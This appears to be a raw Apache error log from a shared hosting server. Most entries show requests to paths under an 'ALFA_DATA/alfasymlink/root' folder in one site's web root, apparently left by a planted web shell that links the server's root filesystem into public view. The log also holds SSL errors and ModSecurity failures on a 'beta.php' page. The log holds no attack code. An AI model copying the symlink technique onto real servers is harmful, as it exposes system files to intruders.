[Mon Oct 26 00:10:21.987900 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/' is executable
[Mon Oct 26 00:10:21.987912 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/' is executable
[Mon Oct 26 00:10:21.987926 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/' is executable
[Mon Oct 26 00:10:21.987938 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/' is executable
[Mon Oct 26 00:10:21.987974 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/' is executable
[Mon Oct 26 00:10:21.987989 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/' is executable
[Mon Oct 26 00:10:21.988001 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/' is executable
[Mon Oct 26 00:10:21.988028 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/' is executable
[Mon Oct 26 00:10:21.988048 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/' is executable
[Mon Oct 26 00:10:21.988092 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/' is executable
[Mon Oct 26 00:10:21.988113 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/' is executable
[Mon Oct 26 00:10:21.988127 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Mon Oct 26 00:10:21.988139 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/' is executable
[Mon Oct 26 00:10:21.988151 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/' is executable
[Mon Oct 26 00:10:21.988162 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/' is executable
[Mon Oct 26 00:10:21.988174 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/' is executable
[Mon Oct 26 00:10:21.988188 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Mon Oct 26 00:10:21.988201 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Mon Oct 26 00:10:21.988220 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/' is executable
[Mon Oct 26 00:10:21.988234 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Mon Oct 26 00:10:21.988257 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/' is executable
[Mon Oct 26 00:10:21.988271 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/' is executable
[Mon Oct 26 00:10:21.988299 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/' is executable
[Mon Oct 26 00:10:21.988313 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/' is executable
[Mon Oct 26 00:10:21.988331 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/' is executable
[Mon Oct 26 00:10:21.988345 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/' is executable
[Mon Oct 26 00:10:21.988367 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/' is executable
[Mon Oct 26 00:10:21.988402 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/' is executable
[Mon Oct 26 00:10:21.988416 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/' is executable
[Mon Oct 26 00:10:21.988435 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/' is executable
[Mon Oct 26 00:10:21.988449 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/' is executable
[Mon Oct 26 00:10:21.988461 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/' is executable
[Mon Oct 26 00:10:21.988472 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/' is executable
[Mon Oct 26 00:10:21.988500 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/' is executable
[Mon Oct 26 00:10:21.988519 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/' is executable
[Mon Oct 26 00:10:21.988531 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/' is executable
[Mon Oct 26 00:10:21.988543 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/' is executable
[Mon Oct 26 00:10:21.988557 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Mon Oct 26 00:10:21.988569 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/' is executable
[Mon Oct 26 00:10:21.988587 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/' is executable
[Mon Oct 26 00:10:21.988599 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/' is executable
[Mon Oct 26 00:10:21.988628 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/' is executable
[Mon Oct 26 00:10:21.988642 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/' is executable
[Mon Oct 26 00:10:21.988656 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Mon Oct 26 00:10:21.988668 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/' is executable
[Mon Oct 26 00:10:21.988684 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/' is executable
[Mon Oct 26 00:10:21.988696 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/' is executable
[Mon Oct 26 00:10:21.988709 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/' is executable
[Mon Oct 26 00:10:21.988720 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/' is executable
[Mon Oct 26 00:10:21.988738 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/' is executable
[Mon Oct 26 00:10:21.988763 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/' is executable
[Mon Oct 26 00:10:21.988779 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Mon Oct 26 00:10:22.147408 2026] [ssl:error] [pid 2959704:tid 2959704] (70014)End of file found: [client 54.84.250.51:45529] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:10:34.158991 2026] [ssl:error] [pid 2959702:tid 2959702] (70014)End of file found: [client 34.199.252.22:7410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:10:38.363763 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 3.221.244.28:47719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:10:46.197496 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 54.225.98.148:2359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:10:50.643808 2026] [authz_core:error] [pid 2959087:tid 2959087] [client 102.129.223.92:12827] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 00:10:50.846356 2026] [authz_core:error] [pid 2959085:tid 2959085] [client 102.129.223.92:23958] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com
[Mon Oct 26 00:10:51.049943 2026] [authz_core:error] [pid 2949651:tid 2949651] [client 102.129.223.92:33483] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com
[Mon Oct 26 00:10:51.252579 2026] [authz_core:error] [pid 2952056:tid 2952056] [client 102.129.223.92:13547] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com
[Mon Oct 26 00:10:54.558671 2026] [authz_core:error] [pid 2949650:tid 2949650] [client 102.129.223.92:59933] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com
[Mon Oct 26 00:11:02.376743 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 54.163.136.244:26765] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:11:06.159328 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 50.19.221.48:53387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:11:10.160247 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 3.230.69.161:16524] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:11:14.170728 2026] [ssl:error] [pid 2959087:tid 2959087] (70014)End of file found: [client 54.166.104.83:6906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:11:18.147491 2026] [ssl:error] [pid 2959085:tid 2959085] (70014)End of file found: [client 44.215.210.112:38099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:11:22.170594 2026] [ssl:error] [pid 2949651:tid 2949651] (5)Input/output error: [client 34.205.170.13:60935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:11:28.341313 2026] [core:error] [pid 2955283:tid 2955283] (13)Permission denied: [client 85.208.96.196:28880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/objects_partial
[Mon Oct 26 00:11:34.174611 2026] [core:error] [pid 2959087:tid 2959087] (13)Permission denied: [client 3.94.40.182:5602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/driver/uevent
[Mon Oct 26 00:11:55.384944 2026] [core:error] [pid 2949651:tid 2949651] (13)Permission denied: [client 185.191.171.6:39402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/store_user
[Mon Oct 26 00:12:02.150847 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 34.204.150.196:14776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:12:06.300003 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 3.224.205.25:37991] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:12:22.141500 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 34.231.118.144:23151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:12:25.689158 2026] [core:error] [pid 2959704:tid 2959704] (13)Permission denied: [client 85.208.96.196:19978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/poison
[Mon Oct 26 00:12:30.250608 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 44.193.115.232:2310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:12:38.143667 2026] [ssl:error] [pid 2959702:tid 2959702] (70014)End of file found: [client 18.214.124.6:26454] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:12:39.909118 2026] [security2:error] [pid 2948938:tid 2948938] [client 107.172.76.131:50865] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7TKVN_bUq_OQDpNPOnnwAAAAo"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 00:12:39.909161 2026] [security2:error] [pid 2948938:tid 2948938] [client 107.172.76.131:50865] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7TKVN_bUq_OQDpNPOnnwAAAAo"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 00:12:42.136084 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 35.173.38.202:4311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:12:46.149306 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 54.210.152.179:27286] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:12:54.139565 2026] [ssl:error] [pid 2959704:tid 2959704] (70014)End of file found: [client 184.73.35.182:8031] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:13:06.166025 2026] [ssl:error] [pid 2954191:tid 2954191] (70014)End of file found: [client 100.28.204.82:35567] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:13:10.206168 2026] [core:error] [pid 2959704:tid 2959704] (13)Permission denied: [client 52.45.77.169:46128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory7/node0/memory23/subsystem/devices/memory6/node0/cpu0/firmware_node/physical_node/driver/uevent
[Mon Oct 26 00:13:10.590092 2026] [security2:error] [pid 2954190:tid 2954190] [client 107.172.76.131:50860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7TSfoKyTuj-yC3xtKGfgAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
